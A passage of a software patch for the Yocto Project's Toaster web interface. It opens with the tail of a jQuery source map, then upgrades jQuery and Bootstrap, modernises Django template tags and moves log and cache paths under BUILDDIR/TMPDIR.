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","file":"jquery-3.7.1.min.js"} \ No newline at end of file
diff --git a/poky/bitbake/lib/toaster/toastergui/static/js/libtoaster.js b/poky/bitbake/lib/toaster/toastergui/static/js/libtoaster.js
index f2c45c833e..d4ac31234c 100644
--- a/poky/bitbake/lib/toaster/toastergui/static/js/libtoaster.js
+++ b/poky/bitbake/lib/toaster/toastergui/static/js/libtoaster.js
@@ -657,7 +657,7 @@ $(document).ready(function() {
hljs.initHighlightingOnLoad();
// Prevent invalid links from jumping page scroll
- $('a[href=#]').click(function() {
+ $('a[href="#"]').click(function() {
return false;
});
diff --git a/poky/bitbake/lib/toaster/toastergui/static/js/projectpage.js b/poky/bitbake/lib/toaster/toastergui/static/js/projectpage.js
index 506471e091..a3c95810a7 100644
--- a/poky/bitbake/lib/toaster/toastergui/static/js/projectpage.js
+++ b/poky/bitbake/lib/toaster/toastergui/static/js/projectpage.js
@@ -61,7 +61,7 @@ function projectPageInit(ctx) {
distroChangeInput.val(urlParams.setDistro);
distroChangeBtn.click();
} else {
- updateDistroName(prjInfo.distro.name);
+ updateDistroName(prjInfo.distro?.name);
}
/* Now we're really ready show the page */
diff --git a/poky/bitbake/lib/toaster/toastergui/templates/base.html b/poky/bitbake/lib/toaster/toastergui/templates/base.html
index 2b3054936a..041448d180 100644
--- a/poky/bitbake/lib/toaster/toastergui/templates/base.html
+++ b/poky/bitbake/lib/toaster/toastergui/templates/base.html
@@ -14,11 +14,11 @@
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
- <script src="{% static 'js/jquery-2.0.3.min.js' %}">
+ <script src="{% static 'js/jquery-3.7.1.min.js' %}">
</script>
<script src="{% static 'js/jquery.cookie.js' %}">
</script>
- <script src="{% static 'js/bootstrap.min.js' %}">
+ <script src="{% static 'js/bootstrap-3.4.1.min.js' %}">
</script>
<script src="{% static 'js/typeahead.jquery.js' %}">
</script>
@@ -94,7 +94,7 @@
</a>
<a class="brand" href="/">Toaster</a>
{% if DEBUG %}
- <span class="glyphicon glyphicon-info-sign" title="<strong>Toaster version information</strong>" data-content="<dl><dt>Git branch</dt><dd>{{TOASTER_BRANCH}}</dd><dt>Git revision</dt><dd>{{TOASTER_REVISION}}</dd></dl>"></i>
+ <span id="toaster-version-info-sign" class="glyphicon glyphicon-info-sign" title="<strong>Toaster version information</strong>" data-content="<dl><dt>Git branch</dt><dd>{{TOASTER_BRANCH}}</dd><dt>Git revision</dt><dd>{{TOASTER_REVISION}}</dd></dl>"></i>
{% endif %}
</div>
</div>
diff --git a/poky/bitbake/lib/toaster/toastergui/templates/base_specific.html b/poky/bitbake/lib/toaster/toastergui/templates/base_specific.html
index e377cadd73..425f7ed73d 100644
--- a/poky/bitbake/lib/toaster/toastergui/templates/base_specific.html
+++ b/poky/bitbake/lib/toaster/toastergui/templates/base_specific.html
@@ -14,11 +14,11 @@
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
- <script src="{% static 'js/jquery-2.0.3.min.js' %}">
+ <script src="{% static 'js/jquery-3.7.1.min.js' %}">
</script>
<script src="{% static 'js/jquery.cookie.js' %}">
</script>
- <script src="{% static 'js/bootstrap.min.js' %}">
+ <script src="{% static 'js/bootstrap-3.4.1.min.js' %}">
</script>
<script src="{% static 'js/typeahead.jquery.js' %}">
</script>
diff --git a/poky/bitbake/lib/toaster/toastergui/templates/js-unit-tests.html b/poky/bitbake/lib/toaster/toastergui/templates/js-unit-tests.html
index ca248962f0..41553c4f9d 100644
--- a/poky/bitbake/lib/toaster/toastergui/templates/js-unit-tests.html
+++ b/poky/bitbake/lib/toaster/toastergui/templates/js-unit-tests.html
@@ -11,7 +11,7 @@
<script src="{% static 'js/layerDepsModal.js' %}"></script>
<script src="{% static 'js/projectpage.js' %}"></script>
-<script src="{% static 'js/bootstrap.min.js' %}"></script>
+<script src="{% static 'js/bootstrap-3.4.1.min.js' %}"></script>
<script src="{% static 'js/filtersnippet.js' %}"></script>
<script src="{% static 'js/importlayer.js' %}"></script>
<script src="{% static 'js/highlight.pack.js' %}"></script>
diff --git a/poky/bitbake/lib/toaster/toastergui/templates/landing.html b/poky/bitbake/lib/toaster/toastergui/templates/landing.html
index 08b40fb2f2..22bbed695a 100644
--- a/poky/bitbake/lib/toaster/toastergui/templates/landing.html
+++ b/poky/bitbake/lib/toaster/toastergui/templates/landing.html
@@ -12,7 +12,7 @@
<div class="col-md-6">
<h1>This is Toaster</h1>
- <p>A web interface to <a href="https://www.openembedded.org">OpenEmbedded</a> and <a href="https://www.yoctoproject.org/tools-resources/projects/bitbake">BitBake</a>, the <a href="https://www.yoctoproject.org">Yocto Project</a> build system.</p>
+ <p>A web interface to <a href="https://www.openembedded.org">OpenEmbedded</a> and <a href="https://docs.yoctoproject.org/bitbake.html">BitBake</a>, the <a href="https://www.yoctoproject.org">Yocto Project</a> build system.</p>
<p class="top-air">
<a class="btn btn-info btn-lg" href="http://docs.yoctoproject.org/toaster-manual/setup-and-use.html#setting-up-and-using-toaster">
diff --git a/poky/bitbake/lib/toaster/toastergui/templates/mrb_section.html b/poky/bitbake/lib/toaster/toastergui/templates/mrb_section.html
index 98d9fac822..9fc7dfaee4 100644
--- a/poky/bitbake/lib/toaster/toastergui/templates/mrb_section.html
+++ b/poky/bitbake/lib/toaster/toastergui/templates/mrb_section.html
@@ -63,7 +63,7 @@
<%/if%>
</div>
- <div data-build-state="<%:state%>">
+ <div class="build-state" data-build-state="<%:state%>">
<%if state == 'Cloning'%>
<%include tmpl='#cloning-repos-build-template'/%>
<%else state == 'Parsing'%>
diff --git a/poky/bitbake/lib/toaster/toastergui/templates/package_built_dependencies.html b/poky/bitbake/lib/toaster/toastergui/templates/package_built_dependencies.html
index a5d5893571..2493954deb 100644
--- a/poky/bitbake/lib/toaster/toastergui/templates/package_built_dependencies.html
+++ b/poky/bitbake/lib/toaster/toastergui/templates/package_built_dependencies.html
@@ -18,7 +18,7 @@
</ul>
<div class="tab-content">
<div class="tab-pane active" id="dependencies">
- {% ifequal runtime_deps|length 0 %}
+ {% if runtime_deps|length == 0 %}
<div class="alert alert-info">
<strong>{{package.fullpackagespec}}</strong> has no runtime dependencies.
</div>
@@ -54,8 +54,8 @@
{% endfor %}
</tbody>
</table>
- {% endifequal %}
- {% ifnotequal other_deps|length 0 %}
+ {% endif %}
+ {% if other_deps|length != 0 %}
<h3>Other runtime relationships</h3>
<table class="table table-bordered table-hover">
<thead>
@@ -93,7 +93,7 @@
{% endfor %}
</tbody>
</table>
- {% endifnotequal %}
+ {% endif %}
</div> <!-- tab-pane -->
</div> <!-- tab-content -->
{% endblock tabcontent %}
diff --git a/poky/bitbake/lib/toaster/toastergui/templates/package_included_dependencies.html b/poky/bitbake/lib/toaster/toastergui/templates/package_included_dependencies.html
index 95e56ded26..1f5ed6d913 100644
--- a/poky/bitbake/lib/toaster/toastergui/templates/package_included_dependencies.html
+++ b/poky/bitbake/lib/toaster/toastergui/templates/package_included_dependencies.html
@@ -14,7 +14,7 @@
{% include "package_included_tabs.html" with active_tab="dependencies" %}
<div class="tab-content">
<div class="tab-pane active" id="dependencies">
- {% ifnotequal runtime_deps|length 0 %}
+ {% if runtime_deps|length != 0 %}
<table class="table table-bordered table-hover">
<thead>
<tr>
@@ -48,9 +48,9 @@
<div class="alert alert-info">
<strong>{{package.fullpackagespec}}</strong> has no runtime dependencies.
</div>
- {% endifnotequal %}
+ {% endif %}
- {% ifnotequal other_deps|length 0 %}
+ {% if other_deps|length != 0 %}
<h3>Other runtime relationships</h3>
<table class="table table-bordered table-hover">
<thead>
@@ -103,7 +103,7 @@
{% endfor %}
</tbody>
</table>
- {% endifnotequal %}
+ {% endif %}
</div> <!-- end tab-pane -->
</div> <!-- end tab content -->
{% endwith %}
diff --git a/poky/bitbake/lib/toaster/toastergui/templates/package_included_reverse_dependencies.html b/poky/bitbake/lib/toaster/toastergui/templates/package_included_reverse_dependencies.html
index fb310c7fc7..dae4549e21 100644
--- a/poky/bitbake/lib/toaster/toastergui/templates/package_included_reverse_dependencies.html
+++ b/poky/bitbake/lib/toaster/toastergui/templates/package_included_reverse_dependencies.html
@@ -15,7 +15,7 @@
<div class="tab-content">
<div class="tab-pane active" id="brought-in-by">
- {% ifequal reverse_count 0 %}
+ {% if reverse_count == 0 %}
<div class="alert alert-info">
<strong>{{package.fullpackagespec}}</strong> has no reverse runtime dependencies.
</div>
@@ -43,7 +43,7 @@
{% endfor %}
</tbody>
</table>
- {% endifequal %}
+ {% endif %}
</div> <!-- end tab-pane -->
</div> <!-- end tab content -->
{% endwith %}
diff --git a/poky/bitbake/lib/toaster/toastergui/templates/recipe.html b/poky/bitbake/lib/toaster/toastergui/templates/recipe.html
index 3f76e656fe..4b5301b548 100644
--- a/poky/bitbake/lib/toaster/toastergui/templates/recipe.html
+++ b/poky/bitbake/lib/toaster/toastergui/templates/recipe.html
@@ -186,9 +186,9 @@
<i class="icon-question-sign get-help hover-help" title="{{task.get_outcome_help}}"></i>
</td>
<td>
- {% ifnotequal task.sstate_result task.SSTATE_NA %}
+ {% if task.sstate_result != task.SSTATE_NA %}
{{task.get_sstate_result_display}}
- {% endifnotequal %}
+ {% endif %}
</td>
</tr>
diff --git a/poky/bitbake/lib/toaster/toastergui/templates/target.html b/poky/bitbake/lib/toaster/toastergui/templates/target.html
index 1924a0dad7..d5f60e77a8 100644
--- a/poky/bitbake/lib/toaster/toastergui/templates/target.html
+++ b/poky/bitbake/lib/toaster/toastergui/templates/target.html
@@ -8,11 +8,11 @@
{% block nav-target %}
{% for t in build.get_sorted_target_list %}
- {% ifequal target.pk t.pk %}
+ {% if target.pk == t.pk %}
<li class="active"><a href="{% url 'target' build.pk t.pk %}">{{t.target}}</a><li>
{% else %}
<li><a href="{% url 'target' build.pk t.pk %}">{{t.target}}</a><li>
- {% endifequal %}
+ {% endif %}
{% endfor %}
{% endblock %}
diff --git a/poky/bitbake/lib/toaster/toastermain/logs.py b/poky/bitbake/lib/toaster/toastermain/logs.py
index f9953982b7..62d871963a 100644
--- a/poky/bitbake/lib/toaster/toastermain/logs.py
+++ b/poky/bitbake/lib/toaster/toastermain/logs.py
@@ -1,13 +1,13 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
+import os
import logging
import json
from pathlib import Path
from django.http import HttpRequest
-BASE_DIR = Path(__file__).resolve(strict=True).parent.parent
-
+BUILDDIR = Path(os.environ.get('BUILDDIR', '/tmp'))
def log_api_request(request, response, view, logger_name='api'):
"""Helper function for LogAPIMixin"""
@@ -38,8 +38,13 @@ def log_view_mixin(view):
request = kwargs.get('request')
response = view(*args, **kwargs)
+ view_name = 'unknown'
+ if hasattr(request, 'resolver_match'):
+ if hasattr(request.resolver_match, 'view_name'):
+ view_name = request.resolver_match.view_name
+
log_api_request(
- request, response, request.resolver_match.view_name, 'toaster')
+ request, response, view_name, 'toaster')
return response
return log_view_request
@@ -103,7 +108,7 @@ LOGGING_SETTINGS = {
'file_django': {
'level': 'INFO',
'class': 'logging.handlers.TimedRotatingFileHandler',
- 'filename': BASE_DIR / 'logs/django.log',
+ 'filename': BUILDDIR / 'toaster_logs/django.log',
'when': 'D', # interval type
'interval': 1, # defaults to 1
'backupCount': 10, # how many files to keep
@@ -112,7 +117,7 @@ LOGGING_SETTINGS = {
'file_api': {
'level': 'INFO',
'class': 'logging.handlers.TimedRotatingFileHandler',
- 'filename': BASE_DIR / 'logs/api.log',
+ 'filename': BUILDDIR / 'toaster_logs/api.log',
'when': 'D',
'interval': 1,
'backupCount': 10,
@@ -121,7 +126,7 @@ LOGGING_SETTINGS = {
'file_toaster': {
'level': 'INFO',
'class': 'logging.handlers.TimedRotatingFileHandler',
- 'filename': BASE_DIR / 'logs/toaster.log',
+ 'filename': BUILDDIR / 'toaster_logs/web.log',
'when': 'D',
'interval': 1,
'backupCount': 10,
diff --git a/poky/bitbake/lib/toaster/toastermain/settings.py b/poky/bitbake/lib/toaster/toastermain/settings.py
index b083cf5885..3c12359366 100644
--- a/poky/bitbake/lib/toaster/toastermain/settings.py
+++ b/poky/bitbake/lib/toaster/toastermain/settings.py
@@ -108,10 +108,6 @@ SITE_ID = 1
# to load the internationalization machinery.
USE_I18N = True
-# If you set this to False, Django will not format dates, numbers and
-# calendars according to the current locale.
-USE_L10N = True
-
# If you set this to False, Django will not use timezone-aware datetimes.
USE_TZ = True
@@ -152,6 +148,8 @@ STATICFILES_FINDERS = (
# Make this unique, and don't share it with anybody.
SECRET_KEY = 'NOT_SUITABLE_FOR_HOSTED_DEPLOYMENT'
+TMPDIR = os.environ.get('TOASTER_DJANGO_TMPDIR', '/tmp')
+
class InvalidString(str):
def __mod__(self, other):
from django.template.base import TemplateSyntaxError
@@ -218,7 +216,7 @@ CACHES = {
# },
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
- 'LOCATION': '/tmp/toaster_cache_%d' % os.getuid(),
+ 'LOCATION': '%s/toaster_cache_%d' % (TMPDIR, os.getuid()),
'TIMEOUT': 1,
}
}
@@ -316,12 +314,12 @@ for t in os.walk(os.path.dirname(currentdir)):
LOGGING = LOGGING_SETTINGS
# Build paths inside the project like this: BASE_DIR / 'subdir'.
-BASE_DIR = Path(__file__).resolve(strict=True).parent.parent
+BUILDDIR = os.environ.get("BUILDDIR", TMPDIR)
# LOG VIEWER
# https://pypi.org/project/django-log-viewer/
LOG_VIEWER_FILES_PATTERN = '*.log*'
-LOG_VIEWER_FILES_DIR = os.path.join(BASE_DIR, 'logs')
+LOG_VIEWER_FILES_DIR = os.path.join(BUILDDIR, "toaster_logs/")
LOG_VIEWER_PAGE_LENGTH = 25 # total log lines per-page
LOG_VIEWER_MAX_READ_LINES = 100000 # total log lines will be read
LOG_VIEWER_PATTERNS = ['INFO', 'DEBUG', 'WARNING', 'ERROR', 'CRITICAL']
@@ -329,7 +327,6 @@ LOG_VIEWER_PATTERNS = ['INFO', 'DEBUG', 'WARNING', 'ERROR', 'CRITICAL']
# Optionally you can set the next variables in order to customize the admin:
LOG_VIEWER_FILE_LIST_TITLE = "Logs list"
-
if DEBUG and SQL_DEBUG:
LOGGING['loggers']['django.db.backends'] = {
'level': 'DEBUG',
